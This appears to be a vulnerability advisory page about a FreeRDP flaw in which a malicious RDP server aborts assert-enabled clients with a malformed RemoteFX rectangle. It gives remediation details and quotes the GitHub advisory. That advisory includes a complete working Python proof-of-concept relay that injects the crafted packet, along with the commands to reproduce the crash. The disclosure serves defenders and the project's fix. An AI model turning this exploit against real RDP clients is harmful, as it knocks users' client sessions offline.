RemoteFX region coordinate assertion aborts FreeRDP client
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-7qw2-8h66-pvpw. Fix status from GitHub. Impact type from CWE-617.
Summary
FreeRDP from 3.0.0 through 3.32.1 aborts the client when it decodes classic RemoteFX graphics and the client was built with WITH_VERBOSE_WINPR_ASSERT=ON. A malicious RDP server can send a RemoteFX region rectangle with x = 65535 that makes a coordinate sum overflow a 16-bit value, which triggers a reachable assertion (CWE-617). An unauthenticated remote attacker who controls the server a user connects to can terminate the client process, causing loss of availability only, and the user must negotiate RemoteFX.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
### Summary A malicious RDP server can terminate a connecting FreeRDP client when the client decodes classic RemoteFX graphics and was built with `WITH_VERBOSE_WINPR_ASSERT=ON`. A RemoteFX region rectangle can contain `x = 65535`; when the RDP SurfaceBits destination starts at `left = 1`, FreeRDP asserts that their sum fits in a 16-bit coordinate and aborts the client process. The consequence demonstrated here is loss of availability of that client process. This does not establish data disclosure, data modification, memory corruption, or impact to the server or other clients. In the matched build without verbose assertions, the same malformed packet remained active until the test timeout. ### Details The user must connect to a malicious server and negotiate RemoteFX. Validation used `/sec:rdp +rfx -gfx` with an isolated FreeRDP shadow server and a loopback relay. The server used `-auth` for this local test; that option is a reproduction convenience, not an assertion that deployments normally disable authentication. The demonstrated crash depends on the client build's verbose WinPR assertions. The source assertion is present in every inspected stable FreeRDP release from 3.0.0 through 3.32.1; FreeRDP 2.x is unsupported by the project's security policy and the inspected 2.11.8 source does not contain this assertion. ### Proof of concept Use only an isolated test client and shadow server. Start the local server with RemoteFX enabled: ```sh freerdp-shadow-cli /bind-address:127.0.0.1 /port:38324 -auth -gfx +rfx ``` Save this complete Python 3 program as `rfx_wire_relay.py`, then run it in a second terminal. It listens only on loopback port 38325, connects to the shadow server on loopback port 38324, forwards the local RDP stream, and injects one RemoteFX update after observing server graphics traffic. ```python #!/usr/bin/env python3 """Loopback-only RDP relay that injects a malformed RemoteFX region.""" import argparse import socket import struct import threading import time def u16(value): return struct.pack("<H", value) def u32(value): return struct.pack("<I", value) def block(kind, data): return u16(kind) + u32(6 + len(data)) + data def rfx_message(rect_x): return b"".join(( block(0xCCC0, u32(0xCACCACCA) + u16(0x0100)), block(0xCCC1, b"\x01\x01" + u16(0x0100)), block(0xCCC2, b"\x01\x00" + u16(1024) + u16(768)), block(0xCCC3, b"\x01\xff\x00" + u16(0x0040) + u16(0x0200)), block(0xCCC4, b"\x01\x00" + u32(1) + u16(1)), block(0xCCC6, b"\x01\x00\x10" + u16(1) + u16(rect_x) + u16(0) + u16(64) + u16(64) + u16(0xCAC1) + u16(1)), )) def fastpath_packet(rect_x): rfx = rfx_message(rect_x) command = (u16(0x0006) + u16(1) + u16(0) + u16(65) + u16(64) + bytes((32, 0, 0, 3)) + u16(64) + u16(64) + u32(len(rfx)) + rfx) update = bytes((4,)) + u16(len(command)) + command length = 3 + len(update) if length >= 16384: raise ValueError("RemoteFX update is too large for this fast-path header") return bytes((0, 0x80 | (length >> 8), length & 255)) + update def frame_length(data): if data[0] == 3: # TPKT if len(data) < 4: return None return int.from_bytes(data[2:4], "big") if len(data) < 2: return None if data[1] & 0x80: if len(data) < 3: return None return ((data[1] & 0x7f) << 8) | data[2] return data[1] def main(): parser = argparse.ArgumentParser() parser.add_argument("--listen", type=int, default=38325) parser.add_argument("--upstream", type=int, default=38324) parser.add_argument("--rect-x", type=lambda value: int(value, 0), default=0xffff) args = parser.parse_args() payload = fastpath_packet(args.rect_x) listener = socket.socket() listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listener.bind(("127.0.0.1", args.listen)) listener.listen(1) print("LISTEN", args.listen, "PAYLOAD", len(payload), flush=True) client, address = listener.accept() server = socket.create_connection(("127.0.0.1", args.upstream)) print("ACCEPT", address, flush=True) def client_to_server(): while data := client.recv(65536): server.sendall(data) try: server.shutdown(socket.SHUT_WR) except OSError: pass def server_to_client(): buffered = b"" injected = False while data := server.recv(65536): buffered += data while len(buffered) >= 2: length = frame_length(buffered) if length is None or length < 2 or len(buffered) < length: break frame, buffered = buffered[:length], buffered[length:] client.sendall(frame) if not injected and ((frame[0] == 3 and length > 500 and frame[10:12] == b"\x03\xef") or (frame[0] != 3 and length > 500)): time.sleep(0.15) client.sendall(payload) injected = True print("INJECTED_RFX", len(payload), flush=True) print("SERVER_STREAM_DONE", "injected=", injected, flush=True) upstream = threading.Thread(target=client_to_server) downstream = threading.Thread(target=server_to_client) upstream.start() downstream.start() upstream.join() downstream.join() client.close() server.close() listener.close() if __name__ == "__main__": main() ``` In a third terminal, connect the test client through the relay. The timeout is useful for comparing the malformed input with the control below: an abort returns 134, while a client that remains active is stopped by `timeout` with status 124. ```sh timeout --signal=TERM 4s xfreerdp /v:127.0.0.1:38325 /u:alice /sec:rdp +rfx -gfx /cert:ignore ``` The validated malformed case uses the relay's default `rect_x = 65535`. The matched rectangle control changes only that value to zero: ```sh python3 rfx_wire_relay.py --rect-x 0 ``` Run the same client command for the control. In the retained test, the malformed input made the assert-enabled client terminate with status 134 at `rfx.c:rfx_process_message:1289`; the zero-coordinate control stayed active until status 124. A separate build with `WITH_VERBOSE_WINPR_ASSERT=OFF` also stayed active until status 124 for the malformed packet. Later RemoteFX message-sequence errors can appear because the relay injects a test frame into an ongoing server stream; they were not the cause of the assert-enabled abort. The server, relay, and client must remain isolated to this test. No external server is needed or should be targeted. ### Impact The consequence demonstrated here is loss of availability of that client process. This does not establish data disclosure, data modification, memory corruption, or impact to the server or other clients.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c/c++) | >= 3.0.0, <= 3.32.1 | 3.32.2 | Patch available | GHSA-7qw2-8h66-pvpw |
- FreeRDP (c/c++) Vendor— Affected >= 3.0.0, <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-7qw2-8h66-pvpw
Remediation
Upgrade FreeRDP to 3.32.2, which is the fixed version. The sources list no fixed version for FreeRDP 2.x.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-7qw2-8h66-pvpw FreeRDP (c/c++) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-7qw2-8h66-pvpw
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences